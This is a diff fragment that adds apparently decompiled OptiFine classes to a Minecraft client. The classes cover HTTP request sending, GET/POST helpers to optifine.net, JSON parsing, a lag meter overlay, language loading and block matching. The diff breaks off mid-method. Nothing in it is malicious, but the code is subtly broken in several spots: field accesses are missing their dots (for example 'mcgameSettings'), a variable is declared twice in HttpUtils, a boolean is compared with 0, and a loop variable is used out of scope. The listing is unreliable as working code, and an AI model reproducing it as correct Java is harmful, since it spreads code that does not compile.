+  public HttpListener getHttpListener()
+  {
+    return httpListener;
+  }
+  
+  public boolean isClosed()
+  {
+    return closed;
+  }
+  
+  public void setClosed(boolean closed)
+  {
+    this.closed = closed;
+  }
+}
diff --git a/src/minecraft/optifine/HttpPipelineSender.java b/src/minecraft/optifine/HttpPipelineSender.java
new file mode 100644
index 0000000..0e53502
--- /dev/null
+++ b/src/minecraft/optifine/HttpPipelineSender.java
@@ -0,0 +1,84 @@
+package optifine;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.nio.charset.Charset;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+public class HttpPipelineSender extends Thread
+{
+  private HttpPipelineConnection httpPipelineConnection = null;
+  private static final String CRLF = "\r\n";
+  private static Charset ASCII = Charset.forName("ASCII");
+  
+  public HttpPipelineSender(HttpPipelineConnection httpPipelineConnection)
+  {
+    super("HttpPipelineSender");
+    this.httpPipelineConnection = httpPipelineConnection;
+  }
+  
+  public void run()
+  {
+    HttpPipelineRequest hpr = null;
+    
+    try
+    {
+      connect();
+      
+      while (!Thread.interrupted())
+      {
+        hpr = httpPipelineConnection.getNextRequestSend();
+        HttpRequest e = hpr.getHttpRequest();
+        OutputStream out = httpPipelineConnection.getOutputStream();
+        writeRequest(e, out);
+        httpPipelineConnection.onRequestSent(hpr);
+
+      }
+      
+
+    }
+    catch (InterruptedException var4) {}catch (Exception var5)
+    {
+
+      httpPipelineConnection.onExceptionSend(hpr, var5);
+    }
+  }
+  
+  private void connect() throws IOException
+  {
+    String host = httpPipelineConnection.getHost();
+    int port = httpPipelineConnection.getPort();
+    Proxy proxy = httpPipelineConnection.getProxy();
+    Socket socket = new Socket(proxy);
+    socket.connect(new InetSocketAddress(host, port), 5000);
+    httpPipelineConnection.setSocket(socket);
+  }
+  
+  private void writeRequest(HttpRequest req, OutputStream out) throws IOException
+  {
+    write(out, req.getMethod() + " " + req.getFile() + " " + req.getHttp() + "\r\n");
+    Map headers = req.getHeaders();
+    Set keySet = headers.keySet();
+    Iterator it = keySet.iterator();
+    
+    while (it.hasNext())
+    {
+      String key = (String)it.next();
+      String val = (String)req.getHeaders().get(key);
+      write(out, key + ": " + val + "\r\n");
+    }
+    
+    write(out, "\r\n");
+  }
+  
+  private void write(OutputStream out, String str) throws IOException
+  {
+    byte[] bytes = str.getBytes(ASCII);
+    out.write(bytes);
+  }
+}
diff --git a/src/minecraft/optifine/HttpRequest.java b/src/minecraft/optifine/HttpRequest.java
new file mode 100644
index 0000000..54b963b
--- /dev/null
+++ b/src/minecraft/optifine/HttpRequest.java
@@ -0,0 +1,92 @@
+package optifine;
+
+import java.net.Proxy;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+public class HttpRequest
+{
+  private String host = null;
+  private int port = 0;
+  private Proxy proxy;
+  private String method;
+  private String file;
+  private String http;
+  private Map<String, String> headers;
+  private byte[] body;
+  private int redirects;
+  public static final String METHOD_GET = "GET";
+  public static final String METHOD_HEAD = "HEAD";
+  public static final String METHOD_POST = "POST";
+  public static final String HTTP_1_0 = "HTTP/1.0";
+  public static final String HTTP_1_1 = "HTTP/1.1";
+  
+  public HttpRequest(String host, int port, Proxy proxy, String method, String file, String http, Map<String, String> headers, byte[] body)
+  {
+    this.proxy = Proxy.NO_PROXY;
+    this.method = null;
+    this.file = null;
+    this.http = null;
+    this.headers = new LinkedHashMap();
+    this.body = null;
+    redirects = 0;
+    this.host = host;
+    this.port = port;
+    this.proxy = proxy;
+    this.method = method;
+    this.file = file;
+    this.http = http;
+    this.headers = headers;
+    this.body = body;
+  }
+  
+  public String getHost()
+  {
+    return host;
+  }
+  
+  public int getPort()
+  {
+    return port;
+  }
+  
+  public String getMethod()
+  {
+    return method;
+  }
+  
+  public String getFile()
+  {
+    return file;
+  }
+  
+  public String getHttp()
+  {
+    return http;
+  }
+  
+  public Map<String, String> getHeaders()
+  {
+    return headers;
+  }
+  
+  public byte[] getBody()
+  {
+    return body;
+  }
+  
+  public int getRedirects()
+  {
+    return redirects;
+  }
+  
+  public void setRedirects(int redirects)
+  {
+    this.redirects = redirects;
+  }
+  
+  public Proxy getProxy()
+  {
+    return proxy;
+  }
+}
diff --git a/src/minecraft/optifine/HttpResponse.java b/src/minecraft/optifine/HttpResponse.java
new file mode 100644
index 0000000..aa75226
--- /dev/null
+++ b/src/minecraft/optifine/HttpResponse.java
@@ -0,0 +1,45 @@
+package optifine;
+
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+public class HttpResponse
+{
+  private int status = 0;
+  private String statusLine = null;
+  private Map<String, String> headers = new LinkedHashMap();
+  private byte[] body = null;
+  
+  public HttpResponse(int status, String statusLine, Map headers, byte[] body)
+  {
+    this.status = status;
+    this.statusLine = statusLine;
+    this.headers = headers;
+    this.body = body;
+  }
+  
+  public int getStatus()
+  {
+    return status;
+  }
+  
+  public String getStatusLine()
+  {
+    return statusLine;
+  }
+  
+  public Map getHeaders()
+  {
+    return headers;
+  }
+  
+  public String getHeader(String key)
+  {
+    return (String)headers.get(key);
+  }
+  
+  public byte[] getBody()
+  {
+    return body;
+  }
+}
diff --git a/src/minecraft/optifine/HttpUtils.java b/src/minecraft/optifine/HttpUtils.java
new file mode 100644
index 0000000..9f37dca
--- /dev/null
+++ b/src/minecraft/optifine/HttpUtils.java
@@ -0,0 +1,140 @@
+package optifine;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.util.Iterator;
+import java.util.Map;
+import net.minecraft.client.Minecraft;
+
+public class HttpUtils
+{
+  public static final String SERVER_URL = "http://s.optifine.net";
+  public static final String POST_URL = "http://optifine.net";
+  
+  public HttpUtils() {}
+  
+  public static byte[] get(String urlStr) throws IOException
+  {
+    HttpURLConnection conn = null;
+    
+    try
+    {
+      URL url = new URL(urlStr);
+      conn = (HttpURLConnection)url.openConnection(Minecraft.getMinecraft().getProxy());
+      conn.setDoInput(true);
+      conn.setDoOutput(false);
+      conn.connect();
+      
+      if (conn.getResponseCode() / 100 != 2)
+      {
+        if (conn.getErrorStream() != null)
+        {
+          Config.readAll(conn.getErrorStream());
+        }
+        
+        throw new IOException("HTTP response: " + conn.getResponseCode());
+      }
+      
+
+      InputStream in = conn.getInputStream();
+      byte[] bytes = new byte[conn.getContentLength()];
+      int pos = 0;
+      
+      do
+      {
+        int len = in.read(bytes, pos, bytes.length - pos);
+        
+        if (len < 0)
+        {
+          throw new IOException("Input stream closed: " + urlStr);
+        }
+        
+        pos += len;
+      } while (
+      
+
+
+
+
+
+
+
+
+
+        pos < bytes.length);
+      
+      byte[] len1 = bytes;
+      return len1;
+
+    }
+    finally
+    {
+      if (conn != null)
+      {
+        conn.disconnect();
+      }
+    }
+  }
+  
+  public static String post(String urlStr, Map headers, byte[] content) throws IOException
+  {
+    HttpURLConnection conn = null;
+    
+    try
+    {
+      URL url = new URL(urlStr);
+      conn = (HttpURLConnection)url.openConnection(Minecraft.getMinecraft().getProxy());
+      conn.setRequestMethod("POST");
+      
+      if (headers != null)
+      {
+        java.util.Set os = headers.keySet();
+        Iterator in = os.iterator();
+        
+        while (in.hasNext())
+        {
+          String isr = (String)in.next();
+          String br = headers.get(isr);
+          conn.setRequestProperty(isr, br);
+        }
+      }
+      
+      conn.setRequestProperty("Content-Type", "text/plain");
+      conn.setRequestProperty("Content-Length", content.length);
+      conn.setRequestProperty("Content-Language", "en-US");
+      conn.setUseCaches(false);
+      conn.setDoInput(true);
+      conn.setDoOutput(true);
+      OutputStream os1 = conn.getOutputStream();
+      os1.write(content);
+      os1.flush();
+      os1.close();
+      InputStream in1 = conn.getInputStream();
+      java.io.InputStreamReader isr1 = new java.io.InputStreamReader(in1, "ASCII");
+      BufferedReader br1 = new BufferedReader(isr1);
+      StringBuffer sb = new StringBuffer();
+      
+      String line;
+      while ((line = br1.readLine()) != null) {
+        String line;
+        sb.append(line);
+        sb.append('\r');
+      }
+      
+      br1.close();
+      String var11 = sb.toString();
+      return var11;
+    }
+    finally
+    {
+      if (conn != null)
+      {
+        conn.disconnect();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/optifine/IFileDownloadListener.java b/src/minecraft/optifine/IFileDownloadListener.java
new file mode 100644
index 0000000..1ad4e23
--- /dev/null
+++ b/src/minecraft/optifine/IFileDownloadListener.java
@@ -0,0 +1,6 @@
+package optifine;
+
+public abstract interface IFileDownloadListener
+{
+  public abstract void fileDownloadFinished(String paramString, byte[] paramArrayOfByte, Throwable paramThrowable);
+}
diff --git a/src/minecraft/optifine/IFileUploadListener.java b/src/minecraft/optifine/IFileUploadListener.java
new file mode 100644
index 0000000..905ed5f
--- /dev/null
+++ b/src/minecraft/optifine/IFileUploadListener.java
@@ -0,0 +1,6 @@
+package optifine;
+
+public abstract interface IFileUploadListener
+{
+  public abstract void fileUploadFinished(String paramString, byte[] paramArrayOfByte, Throwable paramThrowable);
+}
diff --git a/src/minecraft/optifine/IOptionControl.java b/src/minecraft/optifine/IOptionControl.java
new file mode 100644
index 0000000..ad14e41
--- /dev/null
+++ b/src/minecraft/optifine/IOptionControl.java
@@ -0,0 +1,8 @@
+package optifine;
+
+import net.minecraft.client.settings.GameSettings.Options;
+
+public abstract interface IOptionControl
+{
+  public abstract GameSettings.Options getOption();
+}
diff --git a/src/minecraft/optifine/IntArray.java b/src/minecraft/optifine/IntArray.java
new file mode 100644
index 0000000..5ff910e
--- /dev/null
+++ b/src/minecraft/optifine/IntArray.java
@@ -0,0 +1,81 @@
+package optifine;
+
+public class IntArray
+{
+  private int[] array = null;
+  private int position = 0;
+  private int limit = 0;
+  
+  public IntArray(int size)
+  {
+    array = new int[size];
+  }
+  
+  public void put(int x)
+  {
+    array[position] = x;
+    position += 1;
+    
+    if (limit < position)
+    {
+      limit = position;
+    }
+  }
+  
+  public void put(int pos, int x)
+  {
+    array[pos] = x;
+    
+    if (limit < pos)
+    {
+      limit = pos;
+    }
+  }
+  
+  public void position(int pos)
+  {
+    position = pos;
+  }
+  
+  public void put(int[] ints)
+  {
+    int len = ints.length;
+    
+    for (int i = 0; i < len; i++)
+    {
+      array[position] = ints[i];
+      position += 1;
+    }
+    
+    if (limit < position)
+    {
+      limit = position;
+    }
+  }
+  
+  public int get(int pos)
+  {
+    return array[pos];
+  }
+  
+  public int[] getArray()
+  {
+    return array;
+  }
+  
+  public void clear()
+  {
+    position = 0;
+    limit = 0;
+  }
+  
+  public int getLimit()
+  {
+    return limit;
+  }
+  
+  public int getPosition()
+  {
+    return position;
+  }
+}
diff --git a/src/minecraft/optifine/IntegerCache.java b/src/minecraft/optifine/IntegerCache.java
new file mode 100644
index 0000000..2f10632
--- /dev/null
+++ b/src/minecraft/optifine/IntegerCache.java
@@ -0,0 +1,24 @@
+package optifine;
+
+public class IntegerCache
+{
+  private static final int CACHE_SIZE = 4096;
+  private static final Integer[] cache = makeCache(4096);
+  
+  public IntegerCache() {}
+  
+  private static Integer[] makeCache(int size) { Integer[] arr = new Integer[size];
+    
+    for (int i = 0; i < size; i++)
+    {
+      arr[i] = new Integer(i);
+    }
+    
+    return arr;
+  }
+  
+  public static Integer valueOf(int value)
+  {
+    return (value >= 0) && (value < 4096) ? cache[value] : new Integer(value);
+  }
+}
diff --git a/src/minecraft/optifine/Json.java b/src/minecraft/optifine/Json.java
new file mode 100644
index 0000000..20bcb0c
--- /dev/null
+++ b/src/minecraft/optifine/Json.java
@@ -0,0 +1,96 @@
+package optifine;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+
+public class Json
+{
+  public Json() {}
+  
+  public static float getFloat(JsonObject obj, String field, float def)
+  {
+    JsonElement elem = obj.get(field);
+    return elem == null ? def : elem.getAsFloat();
+  }
+  
+  public static boolean getBoolean(JsonObject obj, String field, boolean def)
+  {
+    JsonElement elem = obj.get(field);
+    return elem == null ? def : elem.getAsBoolean();
+  }
+  
+  public static String getString(JsonObject jsonObj, String field)
+  {
+    return getString(jsonObj, field, null);
+  }
+  
+  public static String getString(JsonObject jsonObj, String field, String def)
+  {
+    JsonElement jsonElement = jsonObj.get(field);
+    return jsonElement == null ? def : jsonElement.getAsString();
+  }
+  
+  public static float[] parseFloatArray(JsonElement jsonElement, int len)
+  {
+    return parseFloatArray(jsonElement, len, null);
+  }
+  
+  public static float[] parseFloatArray(JsonElement jsonElement, int len, float[] def)
+  {
+    if (jsonElement == null)
+    {
+      return def;
+    }
+    
+
+    com.google.gson.JsonArray arr = jsonElement.getAsJsonArray();
+    
+    if (arr.size() != len)
+    {
+      throw new com.google.gson.JsonParseException("Wrong array length: " + arr.size() + ", should be: " + len + ", array: " + arr);
+    }
+    
+
+    float[] floatArr = new float[arr.size()];
+    
+    for (int i = 0; i < floatArr.length; i++)
+    {
+      floatArr[i] = arr.get(i).getAsFloat();
+    }
+    
+    return floatArr;
+  }
+  
+
+
+  public static int[] parseIntArray(JsonElement jsonElement, int len)
+  {
+    return parseIntArray(jsonElement, len, null);
+  }
+  
+  public static int[] parseIntArray(JsonElement jsonElement, int len, int[] def)
+  {
+    if (jsonElement == null)
+    {
+      return def;
+    }
+    
+
+    com.google.gson.JsonArray arr = jsonElement.getAsJsonArray();
+    
+    if (arr.size() != len)
+    {
+      throw new com.google.gson.JsonParseException("Wrong array length: " + arr.size() + ", should be: " + len + ", array: " + arr);
+    }
+    
+
+    int[] intArr = new int[arr.size()];
+    
+    for (int i = 0; i < intArr.length; i++)
+    {
+      intArr[i] = arr.get(i).getAsInt();
+    }
+    
+    return intArr;
+  }
+}
diff --git a/src/minecraft/optifine/Lagometer.java b/src/minecraft/optifine/Lagometer.java
new file mode 100644
index 0000000..696734b
--- /dev/null
+++ b/src/minecraft/optifine/Lagometer.java
@@ -0,0 +1,289 @@
+package optifine;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.profiler.Profiler;
+
+public class Lagometer
+{
+  private static Minecraft mc;
+  private static GameSettings gameSettings;
+  private static Profiler profiler;
+  public static boolean active = false;
+  public static TimerNano timerTick = new TimerNano();
+  public static TimerNano timerScheduledExecutables = new TimerNano();
+  public static TimerNano timerChunkUpload = new TimerNano();
+  public static TimerNano timerChunkUpdate = new TimerNano();
+  public static TimerNano timerVisibility = new TimerNano();
+  public static TimerNano timerTerrain = new TimerNano();
+  public static TimerNano timerServer = new TimerNano();
+  private static long[] timesFrame = new long['Ȁ'];
+  private static long[] timesTick = new long['Ȁ'];
+  private static long[] timesScheduledExecutables = new long['Ȁ'];
+  private static long[] timesChunkUpload = new long['Ȁ'];
+  private static long[] timesChunkUpdate = new long['Ȁ'];
+  private static long[] timesVisibility = new long['Ȁ'];
+  private static long[] timesTerrain = new long['Ȁ'];
+  private static long[] timesServer = new long['Ȁ'];
+  private static boolean[] gcs = new boolean['Ȁ'];
+  private static int numRecordedFrameTimes = 0;
+  private static long prevFrameTimeNano = -1L;
+  private static long renderTimeNano = 0L;
+  private static long memTimeStartMs = System.currentTimeMillis();
+  private static long memStart = getMemoryUsed();
+  private static long memTimeLast = memTimeStartMs;
+  private static long memLast = memStart;
+  private static long memTimeDiffMs = 1L;
+  private static long memDiff = 0L;
+  private static int memMbSec = 0;
+  
+  public Lagometer() {}
+  
+  public static boolean updateMemoryAllocation() { long timeNowMs = System.currentTimeMillis();
+    long memNow = getMemoryUsed();
+    boolean gc = false;
+    
+    if (memNow < memLast)
+    {
+      double memDiffMb = memDiff / 1000000.0D;
+      double timeDiffSec = memTimeDiffMs / 1000.0D;
+      int mbSec = (int)(memDiffMb / timeDiffSec);
+      
+      if (mbSec > 0)
+      {
+        memMbSec = mbSec;
+      }
+      
+      memTimeStartMs = timeNowMs;
+      memStart = memNow;
+      memTimeDiffMs = 0L;
+      memDiff = 0L;
+      gc = true;
+    }
+    else
+    {
+      memTimeDiffMs = timeNowMs - memTimeStartMs;
+      memDiff = memNow - memStart;
+    }
+    
+    memTimeLast = timeNowMs;
+    memLast = memNow;
+    return gc;
+  }
+  
+  private static long getMemoryUsed()
+  {
+    Runtime r = Runtime.getRuntime();
+    return r.totalMemory() - r.freeMemory();
+  }
+  
+  public static void updateLagometer()
+  {
+    if (mc == null)
+    {
+      mc = Minecraft.getMinecraft();
+      gameSettings = mcgameSettings;
+      profiler = mcmcProfiler;
+    }
+    
+    if ((gameSettingsshowDebugInfo) && (gameSettingsofLagometer))
+    {
+      active = true;
+      long timeNowNano = System.nanoTime();
+      
+      if (prevFrameTimeNano == -1L)
+      {
+        prevFrameTimeNano = timeNowNano;
+      }
+      else
+      {
+        int frameIndex = numRecordedFrameTimes & timesFrame.length - 1;
+        numRecordedFrameTimes += 1;
+        boolean gc = updateMemoryAllocation();
+        timesFrame[frameIndex] = (timeNowNano - prevFrameTimeNano - renderTimeNano);
+        timesTick[frameIndex] = timerTicktimeNano;
+        timesScheduledExecutables[frameIndex] = timerScheduledExecutablestimeNano;
+        timesChunkUpload[frameIndex] = timerChunkUploadtimeNano;
+        timesChunkUpdate[frameIndex] = timerChunkUpdatetimeNano;
+        timesVisibility[frameIndex] = timerVisibilitytimeNano;
+        timesTerrain[frameIndex] = timerTerraintimeNano;
+        timesServer[frameIndex] = timerServertimeNano;
+        gcs[frameIndex] = gc;
+        timerTick.reset();
+        timerScheduledExecutables.reset();
+        timerVisibility.reset();
+        timerChunkUpdate.reset();
+        timerChunkUpload.reset();
+        timerTerrain.reset();
+        timerServer.reset();
+        prevFrameTimeNano = System.nanoTime();
+      }
+    }
+    else
+    {
+      active = false;
+      prevFrameTimeNano = -1L;
+    }
+  }
+  
+  public static void showLagometer(ScaledResolution scaledResolution)
+  {
+    if (gameSettings != null)
+    {
+      if (gameSettingsofLagometer)
+      {
+        long timeRenderStartNano = System.nanoTime();
+        GlStateManager.clear(256);
+        GlStateManager.matrixMode(5889);
+        GlStateManager.pushMatrix();
+        GlStateManager.enableColorMaterial();
+        GlStateManager.loadIdentity();
+        GlStateManager.ortho(0.0D, mcdisplayWidth, mcdisplayHeight, 0.0D, 1000.0D, 3000.0D);
+        GlStateManager.matrixMode(5888);
+        GlStateManager.pushMatrix();
+        GlStateManager.loadIdentity();
+        GlStateManager.translate(0.0F, 0.0F, -2000.0F);
+        org.lwjgl.opengl.GL11.glLineWidth(1.0F);
+        GlStateManager.func_179090_x();
+        Tessellator tess = Tessellator.getInstance();
+        WorldRenderer tessellator = tess.getWorldRenderer();
+        tessellator.startDrawing(1);
+        
+
+
+
+        for (int y60 = 0; y60 < timesFrame.length; y60++)
+        {
+          int y30 = (y60 - numRecordedFrameTimes & timesFrame.length - 1) * 100 / timesFrame.length;
+          y30 += 155;
+          float lumMem = mcdisplayHeight;
+          long memColR = 0L;
+          
+          if (gcs[y60] != 0)
+          {
+            renderTime(y60, timesFrame[y60], y30, y30 / 2, 0, lumMem, tessellator);
+          }
+          else
+          {
+            renderTime(y60, timesFrame[y60], y30, y30, y30, lumMem, tessellator);
+            lumMem -= (float)renderTime(y60, timesServer[y60], y30 / 2, y30 / 2, y30 / 2, lumMem, tessellator);
+            lumMem -= (float)renderTime(y60, timesTerrain[y60], 0, y30, 0, lumMem, tessellator);
+            lumMem -= (float)renderTime(y60, timesVisibility[y60], y30, y30, 0, lumMem, tessellator);
+            lumMem -= (float)renderTime(y60, timesChunkUpdate[y60], y30, 0, 0, lumMem, tessellator);
+            lumMem -= (float)renderTime(y60, timesChunkUpload[y60], y30, 0, y30, lumMem, tessellator);
+            lumMem -= (float)renderTime(y60, timesScheduledExecutables[y60], 0, 0, y30, lumMem, tessellator);
+            float f1 = lumMem - (float)renderTime(y60, timesTick[y60], 0, y30, y30, lumMem, tessellator);
+          }
+        }
+        
+        renderTimeDivider(0, timesFrame.length, 33333333L, 196, 196, 196, mcdisplayHeight, tessellator);
+        renderTimeDivider(0, timesFrame.length, 16666666L, 196, 196, 196, mcdisplayHeight, tessellator);
+        tess.draw();
+        GlStateManager.func_179098_w();
+        y60 = mcdisplayHeight - 80;
+        int y30 = mcdisplayHeight - 160;
+        mcfontRendererObj.drawString("30", 2, y30 + 1, -8947849);
+        mcfontRendererObj.drawString("30", 1, y30, -3881788);
+        mcfontRendererObj.drawString("60", 2, y60 + 1, -8947849);
+        mcfontRendererObj.drawString("60", 1, y60, -3881788);
+        GlStateManager.matrixMode(5889);
+        GlStateManager.popMatrix();
+        GlStateManager.matrixMode(5888);
+        GlStateManager.popMatrix();
+        GlStateManager.func_179098_w();
+        float lumMem = 1.0F - (float)((System.currentTimeMillis() - memTimeStartMs) / 1000.0D);
+        lumMem = Config.limit(lumMem, 0.0F, 1.0F);
+        int var14 = (int)(170.0F + lumMem * 85.0F);
+        int memColG = (int)(100.0F + lumMem * 55.0F);
+        int memColB = (int)(10.0F + lumMem * 10.0F);
+        int colMem = var14 << 16 | memColG << 8 | memColB;
+        int posX = 512 / scaledResolution.getScaleFactor() + 2;
+        int posY = mcdisplayHeight / scaledResolution.getScaleFactor() - 8;
+        GuiIngame var15 = mcingameGUI;
+        GuiIngame.drawRect(posX - 1, posY - 1, posX + 50, posY + 10, -1605349296);
+        mcfontRendererObj.drawString(" " + memMbSec + " MB/s", posX, posY, colMem);
+        renderTimeNano = System.nanoTime() - timeRenderStartNano;
+      }
+    }
+  }
+  
+  private static long renderTime(int frameNum, long time, int r, int g, int b, float baseHeight, WorldRenderer tessellator)
+  {
+    long heightTime = time / 200000L;
+    
+    if (heightTime < 3L)
+    {
+      return 0L;
+    }
+    
+
+    tessellator.func_178961_b(r, g, b, 255);
+    tessellator.addVertex(frameNum + 0.5F, baseHeight - (float)heightTime + 0.5F, 0.0D);
+    tessellator.addVertex(frameNum + 0.5F, baseHeight + 0.5F, 0.0D);
+    return heightTime;
+  }
+  
+
+  private static long renderTimeDivider(int frameStart, int frameEnd, long time, int r, int g, int b, float baseHeight, WorldRenderer tessellator)
+  {
+    long heightTime = time / 200000L;
+    
+    if (heightTime < 3L)
+    {
+      return 0L;
+    }
+    
+
+    tessellator.func_178961_b(r, g, b, 255);
+    tessellator.addVertex(frameStart + 0.5F, baseHeight - (float)heightTime + 0.5F, 0.0D);
+    tessellator.addVertex(frameEnd + 0.5F, baseHeight - (float)heightTime + 0.5F, 0.0D);
+    return heightTime;
+  }
+  
+
+  public static boolean isActive()
+  {
+    return active;
+  }
+  
+  public static class TimerNano
+  {
+    public long timeStartNano = 0L;
+    public long timeNano = 0L;
+    
+    public TimerNano() {}
+    
+    public void start() { if (Lagometer.active)
+      {
+        if (timeStartNano == 0L)
+        {
+          timeStartNano = System.nanoTime();
+        }
+      }
+    }
+    
+    public void end()
+    {
+      if (Lagometer.active)
+      {
+        if (timeStartNano != 0L)
+        {
+          timeNano += System.nanoTime() - timeStartNano;
+          timeStartNano = 0L;
+        }
+      }
+    }
+    
+    private void reset()
+    {
+      timeNano = 0L;
+      timeStartNano = 0L;
+    }
+  }
+}
diff --git a/src/minecraft/optifine/Lang.java b/src/minecraft/optifine/Lang.java
new file mode 100644
index 0000000..8758ed4
--- /dev/null
+++ b/src/minecraft/optifine/Lang.java
@@ -0,0 +1,130 @@
+package optifine;
+
+import com.google.common.base.Splitter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.IResourcePack;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.IOUtils;
+
+public class Lang
+{
+  private static final Splitter splitter = Splitter.on('=').limit(2);
+  private static final Pattern pattern = Pattern.compile("%(\\d+\\$)?[\\d\\.]*[df]");
+  
+  public Lang() {}
+  
+  public static void resourcesReloaded() { Map localeProperties = I18n.getLocaleProperties();
+    ArrayList listFiles = new ArrayList();
+    String PREFIX = "optifine/lang/";
+    String EN_US = "en_US";
+    String SUFFIX = ".lang";
+    listFiles.add(PREFIX + EN_US + SUFFIX);
+    
+    if (!getGameSettingslanguage.equals(EN_US))
+    {
+      listFiles.add(PREFIX + getGameSettingslanguage + SUFFIX);
+    }
+    
+    String[] files = (String[])listFiles.toArray(new String[listFiles.size()]);
+    loadResources(Config.getDefaultResourcePack(), files, localeProperties);
+    IResourcePack[] resourcePacks = Config.getResourcePacks();
+    
+    for (int i = 0; i < resourcePacks.length; i++)
+    {
+      IResourcePack rp = resourcePacks[i];
+      loadResources(rp, files, localeProperties);
+    }
+  }
+  
+  private static void loadResources(IResourcePack rp, String[] files, Map localeProperties)
+  {
+    try
+    {
+      for (int e = 0; e < files.length; e++)
+      {
+        String file = files[e];
+        ResourceLocation loc = new ResourceLocation(file);
+        
+        if (rp.resourceExists(loc))
+        {
+          InputStream in = rp.getInputStream(loc);
+          
+          if (in != null)
+          {
+            loadLocaleData(in, localeProperties);
+          }
+        }
+      }
+    }
+    catch (IOException var7)
+    {
+      var7.printStackTrace();
+    }
+  }
+  
+  public static void loadLocaleData(InputStream is, Map localeProperties) throws IOException
+  {
+    Iterator it = IOUtils.readLines(is, org.apache.commons.io.Charsets.UTF_8).iterator();
+    
+    while (it.hasNext())
+    {
+      String line = (String)it.next();
+      
+      if ((!line.isEmpty()) && (line.charAt(0) != '#'))
+      {
+        String[] parts = (String[])com.google.common.collect.Iterables.toArray(splitter.split(line), String.class);
+        
+        if ((parts != null) && (parts.length == 2))
+        {
+          String key = parts[0];
+          String value = pattern.matcher(parts[1]).replaceAll("%$1s");
+          localeProperties.put(key, value);
+        }
+      }
+    }
+  }
+  
+  public static String get(String key)
+  {
+    return I18n.format(key, new Object[0]);
+  }
+  
+  public static String get(String key, String def)
+  {
+    String str = I18n.format(key, new Object[0]);
+    return (str != null) && (!str.equals(key)) ? str : def;
+  }
+  
+  public static String getOn()
+  {
+    return I18n.format("options.on", new Object[0]);
+  }
+  
+  public static String getOff()
+  {
+    return I18n.format("options.off", new Object[0]);
+  }
+  
+  public static String getFast()
+  {
+    return I18n.format("options.graphics.fast", new Object[0]);
+  }
+  
+  public static String getFancy()
+  {
+    return I18n.format("options.graphics.fancy", new Object[0]);
+  }
+  
+  public static String getDefault()
+  {
+    return I18n.format("generator.default", new Object[0]);
+  }
+}
diff --git a/src/minecraft/optifine/MatchBlock.java b/src/minecraft/optifine/MatchBlock.java
new file mode 100644
index 0000000..3ef8c26
--- /dev/null
+++ b/src/minecraft/optifine/MatchBlock.java
@@ -0,0 +1,74 @@
+package optifine;
+
+import net.minecraft.block.state.BlockStateBase;
+
+public class MatchBlock
+{
+  private int blockId = -1;
+  private int[] metadatas = null;
+  
+  public MatchBlock(int blockId)
+  {
+    this.blockId = blockId;
+  }
+  
+  public MatchBlock(int blockId, int metadata)
+  {
+    this.blockId = blockId;
+    
+    if ((metadata >= 0) && (metadata <= 15))
+    {
+      metadatas = new int[] { metadata };
+    }
+  }
+  
+  public MatchBlock(int blockId, int[] metadatas)
+  {
+    this.blockId = blockId;
+    this.metadatas = metadatas;
+  }
+  
+  public int getBlockId()
+  {
+    return blockId;
+  }
+  
+  public int[] getMetadatas()
+  {
+    return metadatas;
+  }
+  
+  public boolean matches(BlockStateBase blockState)
+  {
+    return blockState.getBlockId() != blockId ? false : Matches.metadata(blockState.getMetadata(), metadatas);
+  }
+  
+  public boolean matches(int id, int metadata)
+  {
+    return id != blockId ? false : Matches.metadata(metadata, metadatas);
+  }
+  
+  public void addMetadata(int metadata)
+  {
+    if (metadatas != null)
+    {
+      if ((metadata >= 0) && (metadata <= 15))
+      {
+        for (int i = 0; i < metadatas.length; i++)
+        {
+          if (metadatas[i] == metadata)
+          {
+            return;
+          }
+        }
+        
+        metadatas = Config.addIntToArray(metadatas, metadata);
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    return blockId + ":" + Config.arrayToString(metadatas);
+  }
+}
diff --git a/src/minecraft/optifine/Matches.java b/src/minecraft/optifine/Matches.java
new file mode 100644
index 0000000..dd339b0
--- /dev/null
+++ b/src/minecraft/optifine/Matches.java
@@ -0,0 +1,133 @@
+package optifine;
+
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+
+public class Matches
+{
+  public Matches() {}
+  
+  public static boolean block(net.minecraft.block.state.BlockStateBase blockStateBase, MatchBlock[] matchBlocks)
+  {
+    if (matchBlocks == null)
+    {
+      return true;
+    }
+    
+
+    for (int i = 0; i < matchBlocks.length; i++)
+    {
+      MatchBlock mb = matchBlocks[i];
+      
+      if (mb.matches(blockStateBase))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static boolean block(int blockId, int metadata, MatchBlock[] matchBlocks)
+  {
+    if (matchBlocks == null)
+    {
+      return true;
+    }
+    
+
+    for (int i = 0; i < matchBlocks.length; i++)
+    {
+      MatchBlock mb = matchBlocks[i];
+      
+      if (mb.matches(blockId, metadata))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static boolean blockId(int blockId, MatchBlock[] matchBlocks)
+  {
+    if (matchBlocks == null)
+    {
+      return true;
+    }
+    
+
+    for (int i = 0; i < matchBlocks.length; i++)
+    {
+      MatchBlock mb = matchBlocks[i];
+      
+      if (mb.getBlockId() == blockId)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static boolean metadata(int metadata, int[] metadatas)
+  {
+    if (metadatas == null)
+    {
+      return true;
+    }
+    
+
